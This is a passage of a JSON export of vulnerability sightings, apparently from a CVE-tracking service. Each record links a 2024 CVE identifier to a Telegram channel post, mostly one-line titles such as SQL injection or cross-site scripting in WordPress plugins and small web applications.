\u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.", "creation_timestamp": "2025-02-20T15:35:05.000000Z"}, {"uuid": "3d3d68b8-4239-4cad-a8e9-6bb0ccae5078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/claytechsolution/205", "content": "", "creation_timestamp": "2026-07-21T00:00:08.274188Z"}, {"uuid": "56e166cb-e89f-4996-b9ec-17c16167cdd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/ctinow/230743", "content": "OpenSSL patched high-severity flaw CVE-2024-12797\nhttps://ift.tt/PQwVhu7", "creation_timestamp": "2025-02-11T22:54:05.000000Z"}, {"uuid": "64a3977f-6820-4da7-9d08-3c3620cdc93b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1239", "type": "seen", "source": "https://t.me/ctinow/209325", "content": "https://ift.tt/clQt6CL\nCVE-2024-1239", "creation_timestamp": "2024-03-16T04:26:05.000000Z"}, {"uuid": "c22baf6a-f559-45b3-ba83-81bcdeb5e4ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1239", "type": "seen", "source": "https://t.me/ctinow/209322", "content": "https://ift.tt/clQt6CL\nCVE-2024-1239", "creation_timestamp": "2024-03-16T04:21:36.000000Z"}, {"uuid": "656871c0-fbbe-43c7-9cd7-90bec62f5bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1223", "type": "seen", "source": "https://t.me/ctinow/207419", "content": "https://ift.tt/37kW1CF\nCVE-2024-1223", "creation_timestamp": "2024-03-14T04:21:49.000000Z"}, {"uuid": "bd66ad56-bb22-4e5f-a1dc-974b2fac8c52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1222", "type": "seen", "source": "https://t.me/ctinow/207418", "content": "https://ift.tt/X9EZqI7\nCVE-2024-1222", "creation_timestamp": "2024-03-14T04:21:48.000000Z"}, {"uuid": "9884838a-5c24-4ec9-9d60-8eb12537ffbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1221", "type": "seen", "source": "https://t.me/ctinow/207417", "content": "https://ift.tt/Kv1laWD\nCVE-2024-1221", "creation_timestamp": "2024-03-14T04:21:47.000000Z"}, {"uuid": "f597aa3d-ad38-4952-8a18-6c690fd5f913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1227", "type": "seen", "source": "https://t.me/ctinow/205825", "content": "https://ift.tt/i0qIwkS\nCVE-2024-1227", "creation_timestamp": "2024-03-12T16:32:11.000000Z"}, {"uuid": "ae8e8a6d-60ae-4961-9106-e80af4306977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1226", "type": "seen", "source": "https://t.me/ctinow/205824", "content": "https://ift.tt/t9g8vdi\nCVE-2024-1226", "creation_timestamp": "2024-03-12T16:32:10.000000Z"}, {"uuid": "5d6e1358-aeb4-4bd4-99d3-5b5b11ddab50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1223", "type": "seen", "source": "https://t.me/ctinow/207430", "content": "https://ift.tt/37kW1CF\nCVE-2024-1223", "creation_timestamp": "2024-03-14T04:26:44.000000Z"}, {"uuid": "934ca6d7-c3d6-4eee-a885-abeb0b464c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1222", "type": "seen", "source": "https://t.me/ctinow/207429", "content": "https://ift.tt/X9EZqI7\nCVE-2024-1222", "creation_timestamp": "2024-03-14T04:26:44.000000Z"}, {"uuid": "0f00ce4a-b129-4707-9023-89fa15cd9df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1221", "type": "seen", "source": "https://t.me/ctinow/207428", "content": "https://ift.tt/Kv1laWD\nCVE-2024-1221", "creation_timestamp": "2024-03-14T04:26:43.000000Z"}, {"uuid": "97008335-b83c-4185-b754-536c93931838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1227", "type": "seen", "source": "https://t.me/ctinow/205809", "content": "https://ift.tt/i0qIwkS\nCVE-2024-1227", "creation_timestamp": "2024-03-12T16:26:42.000000Z"}, {"uuid": "224a3bcd-6527-44c9-a02a-0e783bfbf22f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1226", "type": "seen", "source": "https://t.me/ctinow/205808", "content": "https://ift.tt/t9g8vdi\nCVE-2024-1226", "creation_timestamp": "2024-03-12T16:26:41.000000Z"}, {"uuid": "f9710a9b-9c0c-4995-ad31-61b1b49b6553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1273", "type": "seen", "source": "https://t.me/ctinow/204972", "content": "https://ift.tt/pDktnF6\nCVE-2024-1273", "creation_timestamp": "2024-03-11T19:27:17.000000Z"}, {"uuid": "acd1abc3-11e0-4734-87bd-59890a61bd3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/ctinow/206537", "content": "https://ift.tt/ijlXO4C\nCVE-2024-1212 | Progress LoadMaster up to 7.1.35.10/7.2.48.9/7.2.54.7/7.2.59.1 os command injection", "creation_timestamp": "2024-03-13T10:41:09.000000Z"}, {"uuid": "20a64a0b-a3c3-40a0-9b43-5d2d66a4e5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-07-25T15:00:17.748204Z"}, {"uuid": "5e249d6c-c9e2-48ef-8c7b-41dbd8041182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1218", "type": "seen", "source": "https://t.me/ctinow/203638", "content": "https://ift.tt/X1jn9HI\nCVE-2024-1218 | kaliforms Contact Form Builder with Drag & Drop Plugin up to 2.3.41 on WordPress REST Endpoint authorization (ID 3036466)", "creation_timestamp": "2024-03-08T22:56:38.000000Z"}, {"uuid": "7e6ab1ae-5c5f-42ce-9a21-e48d01707f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-07-25T15:00:17.674168Z"}, {"uuid": "fa26c540-9b74-41b0-9e67-d8504b8a6ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1235", "type": "seen", "source": "https://t.me/ctinow/198160", "content": "https://ift.tt/0opTgjO\nCVE-2024-1235 | Livemesh Elementor Addons Plugin up to 8.3.2 on WordPress cross site scripting", "creation_timestamp": "2024-03-02T00:26:33.000000Z"}, {"uuid": "3c69e131-381f-46db-928c-06636f465dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-07-25T15:00:17.629673Z"}, {"uuid": "78907883-071a-456a-a178-06423f095552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1290", "type": "seen", "source": "https://t.me/ctinow/204974", "content": "https://ift.tt/U0iNsdD\nCVE-2024-1290", "creation_timestamp": "2024-03-11T19:27:19.000000Z"}, {"uuid": "d3d3a3d9-760b-4f43-90ac-d466cf4503c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1279", "type": "seen", "source": "https://t.me/ctinow/204973", "content": "https://ift.tt/yYx2pTR\nCVE-2024-1279", "creation_timestamp": "2024-03-11T19:27:18.000000Z"}, {"uuid": "fa176b71-3d9e-41a8-a79c-1a53f5ae8b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1288", "type": "seen", "source": "https://t.me/ctinow/203308", "content": "https://ift.tt/HZEz2t5\nCVE-2024-1288 | Schema & Structured Data for WP & AMP Plugin up to 1.26 on WordPress reCaptcha Key authorization", "creation_timestamp": "2024-03-08T13:52:06.000000Z"}, {"uuid": "3f4b481f-1b5f-4e03-8c0f-2fce3d03a773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/ctinow/200972", "content": "https://ift.tt/udOV1iy\nCVE-2024-1220", "creation_timestamp": "2024-03-06T03:31:28.000000Z"}, {"uuid": "e238465a-f68b-4b2b-832d-4e26935b91fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/ctinow/200971", "content": "https://ift.tt/udOV1iy\nCVE-2024-1220", "creation_timestamp": "2024-03-06T03:26:07.000000Z"}, {"uuid": "f0dc49d4-e8a3-4124-b59b-26f9a4925959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1236", "type": "seen", "source": "https://t.me/ctinow/203687", "content": "https://ift.tt/nRfeGjt\nCVE-2024-1236 | wpdevteam Essential Addons for Elementor Plugin up to 5.9.8 on WordPress cross site scripting (ID 3034127)", "creation_timestamp": "2024-03-09T00:31:59.000000Z"}, {"uuid": "5b385b76-bda5-456a-bd8c-818ed6054451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1277", "type": "seen", "source": "https://t.me/ctinow/203182", "content": "https://ift.tt/ZS0aTJ4\nCVE-2024-1277 | Ocean Extra Plugin up to 2.2.4 on WordPress cross site scripting", "creation_timestamp": "2024-03-08T09:51:53.000000Z"}, {"uuid": "1e437c8f-3337-43c2-a3fc-44a6edcf3ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1242", "type": "seen", "source": "https://t.me/ctinow/203710", "content": "https://ift.tt/V3htXxy\nCVE-2024-1242 | leap13 Premium Addons for Elementor Plugin up to 4.10.18 on WordPress cross site scripting", "creation_timestamp": "2024-03-09T01:31:53.000000Z"}, {"uuid": "7eecc234-1424-40a5-8be0-312dd8a99908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1276", "type": "seen", "source": "https://t.me/ctinow/203688", "content": "https://ift.tt/aoThmUN\nCVE-2024-1276 | wpdevteam Essential Addons for Elementor Plugin up to 5.9.8 on WordPress Content Ticker arrow cross site scripting", "creation_timestamp": "2024-03-09T00:32:00.000000Z"}, {"uuid": "cead8cae-c498-4f16-85ba-e61b573975a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1217", "type": "seen", "source": "https://t.me/ctinow/203626", "content": "https://ift.tt/H3V4lYm\nCVE-2024-1217 | kaliforms Contact Form Builder with Drag & Drop Plugin up to 2.3.41 on WordPress Deactivation await_plugin_deactivation authorization (ID 3036466)", "creation_timestamp": "2024-03-08T22:31:46.000000Z"}, {"uuid": "53121fd8-2af3-488b-a0d6-cfc6748564bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1284", "type": "seen", "source": "https://t.me/ctinow/197661", "content": "https://ift.tt/s4U2tRi\nCVE-2024-1284 | Google Chrome prior 121.0.6167.160 Mojo use after free (ID 41494)", "creation_timestamp": "2024-03-01T14:46:50.000000Z"}, {"uuid": "3f74aea5-d6f6-4177-99bd-c9c8880aa1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1299", "type": "seen", "source": "https://t.me/ctinow/201999", "content": "https://ift.tt/Dd1Vvng\nCVE-2024-1299", "creation_timestamp": "2024-03-07T02:26:58.000000Z"}, {"uuid": "31b14af9-3059-498b-824d-c5e46d0602d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1294", "type": "seen", "source": "https://t.me/ctinow/198825", "content": "https://ift.tt/80yb5ZO\nCVE-2024-1294 | Sunshine Photo Cart Plugin up to 3.0.24 on WordPress Invoice information disclosure (ID 3033429)", "creation_timestamp": "2024-03-03T16:51:23.000000Z"}, {"uuid": "2a4d140b-0b46-4474-800d-131b0a71e86a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/ctinow/198272", "content": "https://ift.tt/PmUMBAe\nCVE-2024-1207 | wpdevelop WP Booking Calendar Plugin up to 9.9 on WordPress calendar_request_params[dates_ddmmyy_csv]' sql injection", "creation_timestamp": "2024-03-02T08:36:58.000000Z"}, {"uuid": "f95b00b8-209f-4a8d-b34d-97ccef6c35ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1206", "type": "seen", "source": "https://t.me/ctinow/198325", "content": "https://ift.tt/3zypMvx\nCVE-2024-1206 | WP Recipe Maker Plugin up to 9.1.2 on WordPress sql injection (ID 3032702)", "creation_timestamp": "2024-03-02T11:41:53.000000Z"}, {"uuid": "86ad66cc-3e83-44b5-b7de-827847d188c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1246", "type": "seen", "source": "https://t.me/ctinow/198638", "content": "https://ift.tt/oLJqpmg\nCVE-2024-1246 | Concrete CMS up to 9.2.4 Image URL Import cross site scripting", "creation_timestamp": "2024-03-03T09:46:45.000000Z"}, {"uuid": "96ffffae-798f-4cad-a8c1-1df9ac35e10e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1245", "type": "seen", "source": "https://t.me/ctinow/198637", "content": "https://ift.tt/8DISciz\nCVE-2024-1245 | Concrete CMS up to 9.2.4 Attributes Page cross site scripting", "creation_timestamp": "2024-03-03T09:46:44.000000Z"}, {"uuid": "b2c5ed9f-2ded-48c1-acac-9cdae7e84614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1247", "type": "seen", "source": "https://t.me/ctinow/198636", "content": "https://ift.tt/8GQl1zr\nCVE-2024-1247 | Concrete CMS up to 9.2.4 Role Name cross site scripting", "creation_timestamp": "2024-03-03T09:46:43.000000Z"}, {"uuid": "4dd5c6bc-a781-405c-ae9a-d9979a41abf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1260", "type": "seen", "source": "https://t.me/ctinow/197393", "content": "https://ift.tt/BAxPjgi\nCVE-2024-1260 | Juanpao JPShop up to 1.5.02 API ComboController.php actionIndex pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:24.000000Z"}, {"uuid": "5b2f476e-1386-417a-afd7-d7e8e82c2e79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1259", "type": "seen", "source": "https://t.me/ctinow/197392", "content": "https://ift.tt/TfAC8Yr\nCVE-2024-1259 | Juanpao JPShop up to 1.5.02 API AppController.php app_pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:22.000000Z"}, {"uuid": "bfc419f1-72f6-4ce0-a396-8e540becc714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1258", "type": "seen", "source": "https://t.me/ctinow/197377", "content": "https://ift.tt/YNQLOIS\nCVE-2024-1258 | Juanpao JPShop up to 1.5.02 API api/config/params.php JWT_KEY_ADMIN hard-coded key", "creation_timestamp": "2024-03-01T08:11:32.000000Z"}, {"uuid": "a01c3d93-5cf4-42fb-af05-2f51c1eac370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1283", "type": "seen", "source": "https://t.me/ctinow/197662", "content": "https://ift.tt/8uOoRiI\nCVE-2024-1283 | Google Chrome prior 121.0.6167.160 Skia heap-based overflow (ID 41494)", "creation_timestamp": "2024-03-01T14:46:51.000000Z"}, {"uuid": "daaf2a3b-0eb5-4685-b42b-de8991f6574f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1265", "type": "seen", "source": "https://t.me/ctinow/197406", "content": "https://ift.tt/L1b58U3\nCVE-2024-1265 | CodeAstro University Management System 1.0 Attendance Management /att_add.php Student Name cross site scripting", "creation_timestamp": "2024-03-01T09:11:19.000000Z"}, {"uuid": "7920bb6d-f067-409b-b4f8-bc05d924c161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1252", "type": "seen", "source": "https://t.me/ctinow/197332", "content": "https://ift.tt/dej2BN7\nCVE-2024-1252 | Tongda OA 2017 up to 11.9 delete.php ASK_DUTY_ID sql injection", "creation_timestamp": "2024-03-01T07:07:52.000000Z"}, {"uuid": "caa16861-d34c-47b0-833c-deabe8e360c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1251", "type": "seen", "source": "https://t.me/ctinow/197310", "content": "https://ift.tt/u3BJWcZ\nCVE-2024-1251 | Tongda OA 2017 up to 11.10 delete.php DELETE_STR sql injection", "creation_timestamp": "2024-03-01T06:42:12.000000Z"}, {"uuid": "39226ff1-4bbf-4afe-bf45-cc202c28f376", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1253", "type": "seen", "source": "https://t.me/ctinow/197333", "content": "https://ift.tt/tAlIpRz\nCVE-2024-1253 | Beijing Baichuo Smart S40 Management Platform up to 20240126 Import /useratte/web.php file_upload unrestricted upload", "creation_timestamp": "2024-03-01T07:07:53.000000Z"}, {"uuid": "a49f26fe-d6e0-4138-b8db-e19701b94206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1269", "type": "seen", "source": "https://t.me/ctinow/197438", "content": "https://ift.tt/unp5eZX\nCVE-2024-1269 | SourceCodester Product Management System 1.0 /supplier.php supplier_name/supplier_contact cross site scripting", "creation_timestamp": "2024-03-01T09:41:42.000000Z"}, {"uuid": "5c47ba39-e4d7-40cb-8b86-e1d777572ad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1268", "type": "seen", "source": "https://t.me/ctinow/197437", "content": "https://ift.tt/ykxQRvN\nCVE-2024-1268 | CodeAstro Restaurant POS System 1.0 update_product.php unrestricted upload", "creation_timestamp": "2024-03-01T09:41:41.000000Z"}, {"uuid": "560dec97-54e0-4c3f-8678-95bf9528dee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1267", "type": "seen", "source": "https://t.me/ctinow/197436", "content": "https://ift.tt/4xCLiOQ\nCVE-2024-1267 | CodeAstro Restaurant POS System 1.0 create_account.php Full Name cross site scripting", "creation_timestamp": "2024-03-01T09:41:40.000000Z"}, {"uuid": "335e2457-f4cd-4dff-af6a-daed4b63298e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1266", "type": "seen", "source": "https://t.me/ctinow/197435", "content": "https://ift.tt/sv39BbW\nCVE-2024-1266 | CodeAstro University Management System 1.0 Student Registration Form /st_reg.php Address cross site scripting", "creation_timestamp": "2024-03-01T09:41:39.000000Z"}, {"uuid": "05ad1f28-c4c8-4d33-b1d2-1866d11fbc2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1264", "type": "seen", "source": "https://t.me/ctinow/197402", "content": "https://ift.tt/csiI9Aa\nCVE-2024-1264 | Juanpao JPShop up to 1.5.02 UploadsController.php actionUpdate imgage unrestricted upload", "creation_timestamp": "2024-03-01T09:11:14.000000Z"}, {"uuid": "35d6c278-e8f4-48d5-9665-973079e79079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1263", "type": "seen", "source": "https://t.me/ctinow/197401", "content": "https://ift.tt/4dEyItJ\nCVE-2024-1263 | Juanpao JPShop up to 1.5.02 API PosterController.php actionUpdate pic_url unrestricted upload", "creation_timestamp": "2024-03-01T09:11:13.000000Z"}, {"uuid": "2469e079-bdba-4a6c-b127-7f6cc00f1a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1262", "type": "seen", "source": "https://t.me/ctinow/197395", "content": "https://ift.tt/W4GPkj9\nCVE-2024-1262 | Juanpao JPShop up to 1.5.02 API MaterialController.php actionUpdate pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:26.000000Z"}, {"uuid": "1455be8e-e45d-4d8d-a6eb-d2f8e60a3ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1261", "type": "seen", "source": "https://t.me/ctinow/197394", "content": "https://ift.tt/zs73fNx\nCVE-2024-1261 | Juanpao JPShop up to 1.5.02 API ComboController.php actionIndex pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:25.000000Z"}, {"uuid": "a347e3f8-4bd5-4a39-9819-54e705258349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1255", "type": "seen", "source": "https://t.me/ctinow/197361", "content": "https://ift.tt/Vyw8NJx\nCVE-2024-1255 | sepidz SepidzDigitalMenu up to 7.1.0728.1 /Waiters information disclosure", "creation_timestamp": "2024-03-01T07:36:18.000000Z"}, {"uuid": "04412e08-9174-4ec2-a266-4d1b5f74bb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1254", "type": "seen", "source": "https://t.me/ctinow/197360", "content": "https://ift.tt/FdEIhrY\nCVE-2024-1254 | Beijing Baichuo Smart S20 Management Platform up to 20231120 sysmanageajax.php id sql injection", "creation_timestamp": "2024-03-01T07:36:17.000000Z"}, {"uuid": "5a944637-55ca-4d3e-a9e1-f11abf00391e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1257", "type": "seen", "source": "https://t.me/ctinow/197376", "content": "https://ift.tt/ijz6m7v\nCVE-2024-1257 | Jspxcms 10.2.0 find_text.do cross site scripting", "creation_timestamp": "2024-03-01T08:11:31.000000Z"}, {"uuid": "7e322ab3-fa25-4981-84fc-5ad522e87f54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1256", "type": "seen", "source": "https://t.me/ctinow/197375", "content": "https://ift.tt/C0pPuo3\nCVE-2024-1256 | Jspxcms 10.2.0 filter_text.do cross site scripting", "creation_timestamp": "2024-03-01T08:11:29.000000Z"}, {"uuid": "1dc06714-4aa4-4e0b-a127-ed47f18b41e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1225", "type": "seen", "source": "https://t.me/ctinow/196351", "content": "https://ift.tt/a65jhfo\nCVE-2024-1225 | QiboSoft QiboCMS X1 up to 1.0.6 Pay.php rmb_pay callback_class deserialization", "creation_timestamp": "2024-02-29T08:47:10.000000Z"}, {"uuid": "3b0563e6-f209-4fba-bdb5-d34c9c44ef50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1224", "type": "seen", "source": "https://t.me/ctinow/201323", "content": "https://ift.tt/TJdKtZg\nCVE-2024-1224", "creation_timestamp": "2024-03-06T13:31:29.000000Z"}, {"uuid": "4f76a169-2cd5-4a7d-a1e2-3a70704d6422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1224", "type": "seen", "source": "https://t.me/ctinow/201318", "content": "https://ift.tt/TJdKtZg\nCVE-2024-1224", "creation_timestamp": "2024-03-06T13:31:23.000000Z"}, {"uuid": "3db5aed9-0d94-44d4-8b79-a61e894e722c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1285", "type": "seen", "source": "https://t.me/ctinow/199864", "content": "https://ift.tt/0sQl9qa\nCVE-2024-1285", "creation_timestamp": "2024-03-05T03:28:10.000000Z"}, {"uuid": "2fd26614-5cbd-410e-8437-3d03877e6be9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/ctinow/189963", "content": "https://ift.tt/RrV68YL\nCVE-2024-1212", "creation_timestamp": "2024-02-21T19:21:50.000000Z"}, {"uuid": "5bdf6ac3-6732-4a75-b014-e94c741fd49f", "vulnerability_lookup_origin": 